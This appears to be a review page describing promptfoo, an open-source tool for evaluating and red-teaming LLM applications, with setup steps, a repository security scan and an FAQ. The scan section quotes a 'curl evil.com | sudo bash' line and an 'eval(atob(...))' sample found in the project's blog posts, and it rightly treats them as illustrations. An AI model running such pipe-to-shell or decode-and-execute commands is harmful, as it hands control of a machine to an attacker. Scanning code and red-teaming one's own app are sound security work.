promptfoo: Test and Red-Team Your LLM App (GitHub, Scanned)

promptfoo replaces eyeballing with tests. In a YAML file you list prompts, the models to try them on, and the checks a good answer has to pass; promptfoo eval runs every combination and promptfoo view opens a grid in the browser showing which prompt and model passed which test. Checks range from simple string matches to JavaScript functions and model-graded rubrics, and the same config runs in CI, so a prompt change that breaks something fails the build.

The other half is red teaming. promptfoo generates adversarial inputs against your own application, covering prompt injection, jailbreaks, data leaks and harmful content, and reports which ones got through, which is why it turns up in AI security work as often as in prompt engineering. It can also scan pull requests for LLM-related security and compliance issues.

promptfoo is MIT licensed and has about 25,700 stars. Evals run locally, so prompts only go to the model providers you configure. The company behind it is now part of OpenAI; the README states that the project remains open source and MIT licensed.

• Repository: github.com/promptfoo/promptfoo
• Licence: MIT (MIT License)
• Language: TypeScript. Stars: 25.7K. Forks: 2,426. Last push: Oct 3, 2026.
• Scan: safe, Oct 2, 2026, commit e136287

Who it is for

Developers shipping features built on language models who want regression tests for their prompts, teams choosing between models on their own data rather than public benchmarks, and security people probing an AI app before someone else does.

Getting started

1. Install it (brew install promptfoo and pip install promptfoo also work)

npm install -g promptfoo

2. Create the getting-started example

promptfoo init --example getting-started

3. Set a provider key, run the eval, and open the results

export OPENAI_API_KEY=sk-... && cd examples/getting-started && promptfoo eval && promptfoo view

promptfoo is free, but each eval calls the models you list on your own API keys, and a grid of many prompts, models and test cases adds up quickly. Point it at Ollama to test local models at no cost, or use npx promptfoo@latest to run any command without installing.

Safety scan

We cloned promptfoo/promptfoo at commit e136287 on Oct 2, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

• No committed binaries across 5,717 files and about 1.4 million lines of TypeScript, docs and examples. The 48 secret hits are placeholders and test data: Slack tokens such as xoxb-test-token in test/providers.slack.test.ts and the Slack docs, PEM header strings that the HTTP, TLS, SharePoint and red-team setup code uses to recognise and reformat private keys, and fixture keys in their tests.
• The seven pattern hits are illustrations, not behaviour: a curl evil.com | sudo bash line in a blog quiz, an eval(atob(...)) sample in a blog post about hidden Unicode prompt injection, red-team tests pointing at collector.example.invalid, and an error message in src/providers/opencode-sdk.ts telling you to install the OpenCode CLI with its official installer.
• We read src/telemetry.ts. Unless PROMPTFOO_DISABLE_TELEMETRY is set, the CLI sends usage events with the package version, a CI flag and runtime details to PostHog and to promptfoo's own endpoint, including your email if you have signed in to promptfoo Cloud; setting the variable sends one final opt-out event. The FAQ lists the other features that contact promptfoo-run services (remote attack generation, sharing, cloud sync, update checks), each with its own switch.
• Install hooks are a husky git-hook setup and a stats script for the docs site. package-lock.json pins 2,903 packages with only six known advisories (4 high, 2 moderate): denial-of-service bugs in basic-ftp, braces and http-cache-semantics, a node-forge signature-verification flaw, and old copies of uuid and uri-js. None is critical, and the example and action lockfiles are clean.
• 18 workflows. The one flagged for pull_request_target, main.yml, does not use it: the match is a comment reading "Never use pull_request_target". All 29 third-party actions are pinned to commits. Security policy, licence, contributing guide, code of conduct and Renovate present; no CodeQL.

What the scanner counted

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

By the numbers

Lines by language: TypeScript 1M, Markdown 165.6K, YAML 89.3K, JSON 43.8K, CSS 29K, JavaScript 21.9K.

Questions

Is promptfoo free?

Yes. The CLI and library are MIT licensed and free, red teaming included. The model calls it makes are billed by whichever providers you configure, and evals against local models cost nothing beyond your hardware.

Does promptfoo send my prompts to its servers?

Evals run on your machine and send requests only to the model providers in your config. Sharing is opt-in: promptfoo share uploads a results view so you can send colleagues a link. Two things do reach promptfoo by default: anonymous usage telemetry, switched off with PROMPTFOO_DISABLE_TELEMETRY=1, and red-team attack generation for some plugins, switched off with PROMPTFOO_DISABLE_REMOTE_GENERATION=true.

What does red teaming in promptfoo actually do?

It runs an automated attack against your own application. You describe what the app does, promptfoo generates adversarial inputs across categories such as prompt injection, jailbreaks, PII leaks and harmful content, sends them through your app, and grades the responses into a report of what got through and how serious it is.

This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.